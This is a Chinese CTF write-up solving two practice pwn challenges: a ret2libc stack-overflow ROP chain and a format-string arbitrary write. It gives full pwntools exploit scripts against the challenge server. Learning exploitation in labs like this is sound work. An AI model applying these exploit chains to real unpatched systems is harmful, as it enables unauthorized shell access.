ret2libc
题目:ciscn_2019_c_1
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
分析程序,发现encrypt
函数存在危险函数gets
可以造成栈溢出。程序开了NX保护,没有现成可供使用的shell代码,考虑使用ret2libc
首先使用ROPgadget找到需要的gadget:pop rdi; ret
和ret
python ROPgadget.py --binary ciscn --only "pop|ret"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
Unique gadgets found: 15
|
利用encrypt
函数中的puts
泄露出puts
函数在内存中的地址,并重新调用执行main
函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
pop_rdi_ret = 0x400c83
ret = 0x4006b9
start_addr = 0x400B28
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p.recvuntil("choice!\n".encode())
p.sendline("1".encode())
p.recv()
payload = b"A" * 88 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendline(payload)
p.recvuntil(b'Ciphertext\n')
p.recvline()
puts_leak = u64(p.recvline()[:-1].ljust(8, b'\0'))
|
利用泄漏的地址寻找对应的Libc
版本,并计算得到libc
的加载地址和system
函数、/bin/sh
字符串对应地址,再次利用栈溢出漏洞得到shell
1
2
3
4
5
6
7
|
libc = LibcSearcher('puts', puts_leak)
libcbase = puts_leak - libc.dump('puts')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
system_addr = libcbase + libc.dump('system')
payload = b"A" * 88 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
|
完整代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
from LibcSearcher import *
elf = ELF("./ciscn")
p = remote("node4.buuoj.cn", 29518)
pop_rdi_ret = 0x400c83
ret = 0x4006b9
start_addr = 0x400B28
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p.recvuntil("choice!\n".encode())
p.sendline("1".encode())
p.recv()
payload = b"A" * 88 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendline(payload)
p.recvuntil(b'Ciphertext\n')
p.recvline()
puts_leak = u64(p.recvline()[:-1].ljust(8, b'\0'))
p.recvuntil("choice!\n".encode())
p.sendline("1".encode())
p.recv()
libc = LibcSearcher('puts', puts_leak)
libcbase = puts_leak - libc.dump('puts')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')
system_addr = libcbase + libc.dump('system')
payload = b"A" * 88 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.recv()
p.sendline(b"cat flag")
print(p.recv())
|
格式化字符串漏洞-任意地址写入
题目:[第五空间2019 决赛]PWN5
程序逻辑为向0x804C044
写入随机数作为密码,输入密码正确反弹shell。
存在格式化字符串漏洞printf(buf)
。
考虑利用格式化字符串漏洞修改0x804C044
位置的值获得shell。
首先爆破一下偏移量
1
2
3
4
5
6
7
8
|
from pwn import *
def pwn(payload):
p = remote("node4.buuoj.cn", 29282)
p.recv()
p.sendline(payload)
return p.recv()[6:-1]
auto = FmtStr(pwn)
offset = auto.offset
|
得到offset=10
利用格式化字符串漏洞将0x804C044
位置的值修改为0xcafe
1
2
3
4
5
6
7
8
|
offset = 10
p = remote("node4.buuoj.cn", 29282)
p.recv()
payload = fmtstr_payload(offset, {0x804C044 : 0xcafe})
p.sendline(payload)
p.recv()
p.sendline(str(0xcafe).encode())
p.interactive()
|
完整代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
def pwn(payload):
p = remote("node4.buuoj.cn", 29282)
p.recv()
p.sendline(payload)
info = p.recv()[6:-1]
return info
auto = FmtStr(pwn)
offset = auto.offset
p = remote("node4.buuoj.cn", 29282)
p.recv()
payload = fmtstr_payload(offset, {0x804C044 : 0xcafe})
p.sendline(payload)
p.recv()
p.sendline(str(0xcafe).encode())
p.recv()
p.sendline(b"cat flag")
print(p.recv())
|
在学了在学了